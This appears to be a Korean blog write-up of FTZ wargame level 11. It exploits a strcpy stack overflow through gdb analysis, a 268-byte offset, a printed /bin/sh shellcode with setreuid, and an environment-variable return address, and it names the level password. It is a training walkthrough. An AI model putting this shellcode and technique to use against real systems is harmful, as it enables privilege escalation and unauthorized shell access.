-
FTZ. level 11 정리Pwnable/FTZ 2020. 2. 25. 05:17
level11 비밀번호 : what!@#$?
먼저 힌트를 본다.
뭔가 strcpy에서 오버플로우가 일어날꺼같지 않은가!?
(내 생각은 str의 크기가 주어졌는데 그 이상 입력할 수 있으면 오버플로우가 일어날꺼같아서)
그럼 attackme를 gdb로 확인해보자.
[level11@ftz level11]$ gdb attackme (gdb) set disassembly-flavor intel (gdb) disas main
main+27 부터 main+48 까지 strcpy 부분이므로 해석을 자세히 해보면
//이전까지 esp = ebp - 280 0x0804848b <main+27>: add esp,0x10 //: esp = [ebp - 264] 0x0804848e <main+30>: sub esp,0x8 //: esp = [ebp - 272] 0x08048491 <main+33>: mov eax,DWORD PTR [ebp+12] //argv[1] 과정 //: eax = [ebp + 12] 0x08048494 <main+36>: add eax,0x4 //argv[1] 과정 //: eax = eax + 4 0x08048497 <main+39>: push DWORD PTR [eax] //argv[1] 과정 push //: push [eax] //: esp = [ebp - 268] 0x08048499 <main+41>: lea eax,[ebp-264] //: eax = [ebp - 264] 0x0804849f <main+47>: push eax //: esp = [ebp - 264] ... RET는 ebp의 위에 있으므로 268만큼 오버플로우를 일으켜야한다. 0x080484a0 <main+48>: call 0x804835c <strcpy>
RET 부분에 환경변수의 shellcode주소를 넣어서 실행 해야 한다.
그러면 환경변수를 등록하는 쉘코드를 사용하여 환경변수의 주소값을 알아내보자.
환경변수를 등록하는 리눅스 명령어 : export
환경변수를 등록하는 쉘코드 : \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
등록한 환경변수를 확인하는 리눅스 명령어 : env
우리가 등록한 sh 환경변수의 주소를 알아야 하는데
그이유는 RET에 쉘코드 주소를 오버플로우를 이용해서 덮어주면 main의 leave, ret (함수 에필로그) 과정에서 환경변수의
쉘코드로 점프해서 level 12의 쉘코드를 실행 할 수 있으므로 쉘코드를 저장한 환경변수의 주소를 알아야 한다.
주소값을 알기위해선
//환경변수의 주소값을 알기위한 코드 : #include <stdio.h> int main() { printf("%p\n",getenv("환경변수 이름")); }
이 코드를 컴파일 한 파일을 실행하면 된다.
나는 sh라는 파일을 만들었고 이 파일을 실행하면 환경변수의 주소값을 얻을 수 있다.
0xbffffeaf 라는 주소값을 얻었다!!!
이제 이 주소값을 RET에 넣을 수 있게 오버플로우를 일으키면 된다.
그림을 보면 RET의 위치는 SFP의 위에 있으므로 RET에 얻어낸 주소값을 넣기 위해선
ebp 위치에서 4byte 높은 주소이기 때문에 264 + 4 = 268개의 문자를 넣어 오버플로우를 일으켜야 한다.
level12의 쉘코드를 통해 비밀번호 획득 성공!
it is like this
'Pwnable > FTZ' 카테고리의 다른 글
FTZ. 함수 프롤로그 / 함수 에필로그 (0) 2020.02.11 FTZ . level9 정리 (0) 2020.02.11